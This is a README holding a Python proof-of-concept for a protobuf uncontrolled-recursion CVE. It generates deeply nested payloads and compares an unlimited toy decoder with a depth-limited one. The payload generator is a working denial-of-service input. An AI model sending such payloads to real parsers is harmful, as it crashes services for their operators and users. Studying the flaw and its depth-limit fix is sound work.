README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-44289 PoC - Uncontrolled Recursion in Protobuf Decoding
Demonstrates stack exhaustion via deeply nested messages.
"""
import argparse
import sys
import struct
from typing import Optional
class VulnerableProtobufDecoder:
"""Simplified vulnerable recursive decoder (mirrors the CVE issue)."""
def __init__(self, max_depth: int = 0):
self.max_depth = max_depth # 0 = unlimited (vulnerable)
def decode(self, data: bytes, depth: int = 0) -> dict:
if self.max_depth > 0 and depth > self.max_depth:
raise RecursionError("Maximum recursion depth exceeded (protected)")
if depth > 1000: # Python default recursion limit is ~1000
raise RecursionError("Stack overflow simulated")
result = {}
i = 0
while i < len(data):
# Read tag: field_number << 3 | wire_type
tag = 0
shift = 0
while i < len(data):
b = data[i]
i += 1
tag |= (b & 0x7F) << shift
shift += 7
if not (b & 0x80):
break
wire_type = tag & 7
field_number = tag >> 3
if wire_type == 2: # length-delimited (common for nested messages)
length = 0
shift = 0
while i < len(data):
b = data[i]
i += 1
length |= (b & 0x7F) << shift
shift += 7
if not (b & 0x80):
break
nested_data = data[i:i + length]
i += length
# Recursive call - this is the vulnerable part
result[field_number] = self.decode(nested_data, depth + 1)
else:
# Skip other types for simplicity
result[field_number] = f"wire_type_{wire_type}"
return result
def generate_deep_nested_payload(depth: int) -> bytes:
"""Generate a malicious deeply nested protobuf payload."""
payload = b''
for _ in range(depth):
# Field 1, wire type 2 (length-delimited)
payload = struct.pack("B", (1 << 3) | 2) + _encode_varint(len(payload)) + payload
return payload
def _encode_varint(value: int) -> bytes:
"""Simple varint encoding."""
parts = []
while True:
parts.append((value & 0x7F) | 0x80)
value >>= 7
if value == 0:
parts[-1] &= 0x7F
break
return bytes(parts)
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-44289 PoC - Protobuf uncontrolled recursion",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --generate 5000 # Generate deep payload
%(prog)s --decode --payload payload.bin --vulnerable
%(prog)s --decode --payload payload.bin --safe
"""
)
parser.add_argument('--generate', type=int, metavar='DEPTH',
help='Generate a deeply nested payload of given depth')
parser.add_argument('--decode', action='store_true',
help='Decode a payload (use with --payload)')
parser.add_argument('--payload', type=str, default='payload.bin',
help='Path to payload file (default: payload.bin)')
parser.add_argument('--vulnerable', action='store_true',
help='Use vulnerable decoder (no depth limit)')
parser.add_argument('--safe', action='store_true',
help='Use safe decoder with depth limit')
parser.add_argument('--depth-limit', type=int, default=200,
help='Max depth for safe decoder (default: 200)')
args = parser.parse_args()
if args.generate:
print(f"[+] Generating payload with depth {args.generate}...")
payload = generate_deep_nested_payload(args.generate)
with open(args.payload, "wb") as f:
f.write(payload)
print(f"[+] Payload written to {args.payload} ({len(payload)} bytes)")
print(f" This should trigger stack overflow in vulnerable decoders.")
return
if args.decode:
try:
with open(args.payload, "rb") as f:
data = f.read()
print(f"[+] Loaded payload: {len(data)} bytes")
except FileNotFoundError:
print(f"[-] Payload file not found: {args.payload}")
return
if args.vulnerable:
print("[!] Using VULNERABLE decoder (unlimited recursion)")
decoder = VulnerableProtobufDecoder(max_depth=0)
try:
result = decoder.decode(data)
print("[+] Decoded successfully (vulnerable version)")
except RecursionError as e:
print(f"[!] Crashed as expected: {e}")
except Exception as e:
print(f"[!] Error: {e}")
elif args.safe:
print(f"[+] Using SAFE decoder (depth limit: {args.depth_limit})")
decoder = VulnerableProtobufDecoder(max_depth=args.depth_limit)
try:
result = decoder.decode(data)
print("[+] Decoded successfully (protected)")
except RecursionError as e:
print(f"[+] Protected: {e}")
else:
print("[-] Specify --vulnerable or --safe")
return
parser.print_help()
if __name__ == "__main__":
main()